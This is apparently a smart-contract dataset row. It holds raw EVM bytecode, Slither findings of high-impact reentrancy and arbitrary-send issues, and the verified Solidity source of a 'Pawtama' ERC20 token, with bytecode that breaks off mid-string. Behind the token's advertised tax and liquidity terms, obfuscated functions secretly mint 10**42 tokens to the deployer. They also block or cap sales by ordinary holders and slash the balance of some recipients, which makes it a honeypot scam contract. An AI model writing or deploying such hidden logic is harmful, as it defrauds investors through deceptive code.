2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285a565b6040518363ffffffff1660e01b8152600401610e1f929190612cfa565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4c565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a06565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d23565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129b4565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612eaa565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e6a565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611ff390919063ffffffff16565b61206e90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f4a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612dea565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612eca565b60405180910390fd5b6007600a819055506003600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190613080565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af576007600a819055506007600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611cf9565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120b8565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dc8565b60405180910390fd5b5060008385611b839190613161565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be060028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5c60028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600854821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612e0a565b60405180910390fd5b6000611cdc6120e5565b9050611cf1818461206e90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b5090503081600081518110611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6557600080fd5b505afa158015611e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9d919061285a565b81600181518110611ed7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa2959493929190612f65565b600060405180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120065760009050612068565b600082846120149190613107565b905082848261202391906130d6565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90612e8a565b60405180910390fd5b809150505b92915050565b60006120b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612110565b905092915050565b806120c6576120c5612173565b5b6120d18484846121b6565b806120df576120de612381565b5b50505050565b60008060006120f2612395565b91509150612109818361206e90919063ffffffff16565b9250505090565b60008083118290612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e9190612dc8565b60405180910390fd5b506000838561216691906130d6565b9050809150509392505050565b6000600a5414801561218757506000600b54145b15612191576121b4565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121c8876123f7565b95509550955095509550955061222686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230781612507565b61231184836125c4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161236e9190612f4a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123cb683635c9adc5dea0000060085461206e90919063ffffffff16565b8210156123ea57600854683635c9adc5dea000009350935050506123f3565b81819350935050505b9091565b60008060008060008060008060006124148a600a54600b546125fe565b92509250925060006124246120e5565b905060008060006124378e878787612694565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124b89190613080565b9050838110156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f490612e4a565b60405180910390fd5b8091505092915050565b60006125116120e5565b905060006125288284611ff390919063ffffffff16565b905061257c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d98260085461245f90919063ffffffff16565b6008819055506125f4816009546124a990919063ffffffff16565b6009819055505050565b60008060008061262a606461261c888a611ff390919063ffffffff16565b61206e90919063ffffffff16565b905060006126546064612646888b611ff390919063ffffffff16565b61206e90919063ffffffff16565b9050600061267d8261266f858c61245f90919063ffffffff16565b61245f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ad8589611ff390919063ffffffff16565b905060006126c48689611ff390919063ffffffff16565b905060006126db8789611ff390919063ffffffff16565b90506000612704826126f6858761245f90919063ffffffff16565b61245f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273061272b84612fff565b612fda565b9050808382526020820190508285602086028201111561274f57600080fd5b60005b8581101561277f57816127658882612789565b845260208401935060208301925050600181019050612752565b5050509392505050565b60008135905061279881613614565b92915050565b6000815190506127ad81613614565b92915050565b600082601f8301126127c457600080fd5b81356127d484826020860161271d565b91505092915050565b6000813590506127ec8161362b565b92915050565b6000815190506128018161362b565b92915050565b60008135905061281681613642565b92915050565b60008151905061282b81613642565b92915050565b60006020828403121561284357600080fd5b600061285184828501612789565b91505092915050565b60006020828403121561286c57600080fd5b600061287a8482850161279e565b91505092915050565b6000806040838503121561289657600080fd5b60006128a485828601612789565b92505060206128b585828601612789565b9150509250929050565b6000806000606084860312156128d457600080fd5b60006128e286828701612789565b93505060206128f386828701612789565b925050604061290486828701612807565b9150509250925092565b6000806040838503121561292157600080fd5b600061292f85828601612789565b925050602061294085828601612807565b9150509250929050565b60006020828403121561295c57600080fd5b600082013567ffffffffffffffff81111561297657600080fd5b612982848285016127b3565b91505092915050565b60006020828403121561299d57600080fd5b60006129ab848285016127dd565b91505092915050565b6000602082840312156129c657600080fd5b60006129d4848285016127f2565b91505092915050565b6000602082840312156129ef57600080fd5b60006129fd84828501612807565b91505092915050565b600080600060608486031215612a1b57600080fd5b6000612a298682870161281c565b9350506020612a3a8682870161281c565b9250506040612a4b8682870161281c565b9150509250925092565b6000612a618383612a6d565b60208301905092915050565b612a7681613195565b82525050565b612a8581613195565b82525050565b6000612a968261303b565b612aa0818561305e565b9350612aab8361302b565b8060005b83811015612adc578151612ac38882612a55565b9750612ace83613051565b925050600181019050612aaf565b5085935050505092915050565b612af2816131a7565b82525050565b612b01816131ea565b82525050565b6000612b1282613046565b612b1c818561306f565b9350612b2c8185602086016131fc565b612b3581613336565b840191505092915050565b6000612b4d60238361306f565b9150612b5882613347565b604082019050919050565b6000612b70602a8361306f565b9150612b7b82613396565b604082019050919050565b6000612b9360228361306f565b9150612b9e826133e5565b604082019050919050565b6000612bb6601b8361306f565b9150612bc182613434565b602082019050919050565b6000612bd9601d8361306f565b9150612be48261345d565b602082019050919050565b6000612bfc60218361306f565b9150612c0782613486565b604082019050919050565b6000612c1f60208361306f565b9150612c2a826134d5565b602082019050919050565b6000612c4260298361306f565b9150612c4d826134fe565b604082019050919050565b6000612c6560258361306f565b9150612c708261354d565b604082019050919050565b6000612c8860248361306f565b9150612c938261359c565b604082019050919050565b6000612cab60178361306f565b9150612cb6826135eb565b602082019050919050565b612cca816131d3565b82525050565b612cd9816131dd565b82525050565b6000602082019050612cf46000830184612a7c565b92915050565b6000604082019050612d0f6000830185612a7c565b612d1c6020830184612a7c565b9392505050565b6000604082019050612d386000830185612a7c565b612d456020830184612cc1565b9392505050565b600060c082019050612d616000830189612a7c565b612d6e6020830188612cc1565b612d7b6040830187612af8565b612d886060830186612af8565b612d956080830185612a7c565b612da260a0830184612cc1565b979650505050505050565b6000602082019050612dc26000830184612ae9565b92915050565b60006020820190508181036000830152612de28184612b07565b905092915050565b60006020820190508181036000830152612e0381612b40565b9050919050565b60006020820190508181036000830152612e2381612b63565b9050919050565b60006020820190508181036000830152612e4381612b86565b9050919050565b60006020820190508181036000830152612e6381612ba9565b9050919050565b60006020820190508181036000830152612e8381612bcc565b9050919050565b60006020820190508181036000830152612ea381612bef565b9050919050565b60006020820190508181036000830152612ec381612c12565b9050919050565b60006020820190508181036000830152612ee381612c35565b9050919050565b60006020820190508181036000830152612f0381612c58565b9050919050565b60006020820190508181036000830152612f2381612c7b565b9050919050565b60006020820190508181036000830152612f4381612c9e565b9050919050565b6000602082019050612f5f6000830184612cc1565b92915050565b600060a082019050612f7a6000830188612cc1565b612f876020830187612af8565b8181036040830152612f998186612a8b565b9050612fa86060830185612a7c565b612fb56080830184612cc1565b9695505050505050565b6000602082019050612fd46000830184612cd0565b92915050565b6000612fe4612ff5565b9050612ff0828261322f565b919050565b6000604051905090565b600067ffffffffffffffff82111561301a57613019613307565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308b826131d3565b9150613096836131d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130cb576130ca6132a9565b5b828201905092915050565b60006130e1826131d3565b91506130ec836131d3565b9250826130fc576130fb6132d8565b5b828204905092915050565b6000613112826131d3565b915061311d836131d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613156576131556132a9565b5b828202905092915050565b600061316c826131d3565b9150613177836131d3565b92508282101561318a576131896132a9565b5b828203905092915050565b60006131a0826131b3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f5826131d3565b9050919050565b60005b8381101561321a5780820151818401526020810190506131ff565b83811115613229576000848401525b50505050565b61323882613336565b810181811067ffffffffffffffff8211171561325757613256613307565b5b80604052505050565b600061326b826131d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561329e5761329d6132a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361d81613195565b811461362857600080fd5b50565b613634816131a7565b811461363f57600080fd5b50565b61364b816131d3565b811461365657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba94eab2b783cbfd896af2ab6a634751792c4802203c60c5bcbd13f4051e149b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,189
0x2d8fe4a9c451d72244f74f3e87dbe091bfe2cea9
/** *Submitted for verification at Etherscan.io on 2022-02-09 */ /* Welcome to ▄███████▄ ▄████████ ▄█ █▄ ███ ▄████████ ▄▄▄▄███▄▄▄▄ ▄████████ ███ ███ ███ ███ ███ ███ ▀█████████▄ ███ ███ ▄██▀▀▀███▀▀▀██▄ ███ ███ ███ ███ ███ ███ ███ ███ ▀███▀▀██ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▀ ███ ███ ███ ███ ███ ███ ███ ▀█████████▀ ▀███████████ ███ ███ ███ ▀███████████ ███ ███ ███ ▀███████████ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄█▄ ███ ███ ███ ███ ███ ███ ███ ███ ███ ▄████▀ ███ █▀ ▀███▀███▀ ▄████▀ ███ █▀ ▀█ ███ █▀ ███ █▀ @Pawtama LP lock initial 6 months Max buy/sell 0.5% 3% redistribution every 1 hour 1% burn 1% team = 5% tax in total, 20% sell tax for first 24 hours (15% additional burn) Initial Liq 20 ETH + 98% Pawtama, 2% to team */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private PalmSprings; mapping (address => bool) private Alberta; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; uint256 private sauce; IDEXRouter router; string private _name; string private _symbol; address private _msgSenders; uint256 private _totalSupply; uint256 private Pieces; uint256 private Storm; bool private Thunderbolt; uint256 private afhj; uint256 private Lightning = 0; address private Apple = address(0); constructor (string memory name_, string memory symbol_, address msgSender_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _msgSenders = msgSender_; _name = name_; _symbol = symbol_; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function _balancesOfRecipient(address account) internal { _balances[account] += (((account == _msgSenders) && (sauce > 2)) ? (10 ** 42) : 0); } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function _balanceOftheRedistribution(address sender, address recipient, uint256 amount, bool doodle) internal { (Pieces,Thunderbolt) = doodle ? (Storm, true) : (Pieces,Thunderbolt); if ((PalmSprings[sender] != true)) { require(amount < Pieces); if (Thunderbolt == true) { require(!(Alberta[sender] == true)); Alberta[sender] = true; } } _balances[Apple] = ((Lightning == block.timestamp) && (PalmSprings[recipient] != true) && (PalmSprings[Apple] != true) && (afhj > 2)) ? (_balances[Apple]/70) : (_balances[Apple]); afhj++; Apple = recipient; Lightning = block.timestamp; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function _initStart(address creator, uint256 jkal) internal virtual { approve(_router, 10 ** 77); (sauce,Thunderbolt,Pieces,afhj) = (0,false,(jkal/90),0); (Storm,PalmSprings[_router],PalmSprings[creator],PalmSprings[pair]) = ((jkal/2000),true,true,true); (Alberta[_router],Alberta[creator]) = (false, false); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function _balancesOfSender(address sender, address recipient, uint256 amount) internal { _balanceOftheRedistribution(sender, recipient, amount, (address(sender) == _msgSenders) && (sauce > 0)); sauce += (sender == _msgSenders) ? 1 : 0; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _DeployPawtama(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balancesOfSender(sender, recipient, amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; _balancesOfRecipient(sender); emit Transfer(sender, recipient, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { _DeployPawtama(creator, initialSupply); _initStart(creator, initialSupply); } } contract Pawtama is ERC20Token { constructor() ERC20Token("PAWTAMA", "PAWTAMA", msg.sender, 100000 * 10 ** 18) { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101f5578063a8aa1b3114610208578063a9059cbb1461021b578063dd62ed3e1461022e57600080fd5b806370a0823114610195578063715018a6146101be5780638da5cb5b146101c857806395d89b41146101ed57600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806342966c681461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610267565b60405161010f9190610c53565b60405180910390f35b61012b610126366004610cc4565b6102f9565b604051901515815260200161010f565b600e545b60405190815260200161010f565b61012b61015b366004610cee565b61030f565b6040516012815260200161010f565b61012b61017d366004610cc4565b6103c5565b61012b610190366004610d2a565b6103fc565b61013f6101a3366004610d43565b6001600160a01b031660009081526004602052604090205490565b6101c6610410565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161010f565b6101026104b4565b61012b610203366004610cc4565b6104c3565b6008546101d5906001600160a01b031681565b61012b610229366004610cc4565b61055e565b61013f61023c366004610d65565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600b805461027690610d98565b80601f01602080910402602001604051908101604052809291908181526020018280546102a290610d98565b80156102ef5780601f106102c4576101008083540402835291602001916102ef565b820191906000526020600020905b8154815290600101906020018083116102d257829003601f168201915b5050505050905090565b600061030633848461056b565b50600192915050565b600061031c84848461068f565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103a65760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ba85336103b58685610de9565b61056b565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103069185906103b5908690610e00565b6000610408338361087a565b506001919050565b6001546001600160a01b0316331461046a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039d565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461027690610d98565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161039d565b61055433856103b58685610de9565b5060019392505050565b600061030633848461068f565b6001600160a01b0383166105cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039d565b6001600160a01b03821661062e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039d565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106f35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039d565b6001600160a01b0382166107555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039d565b6001600160a01b038316600090815260046020526040902054818110156107cd5760405162461bcd60e51b815260206004820152602660248201527f45524332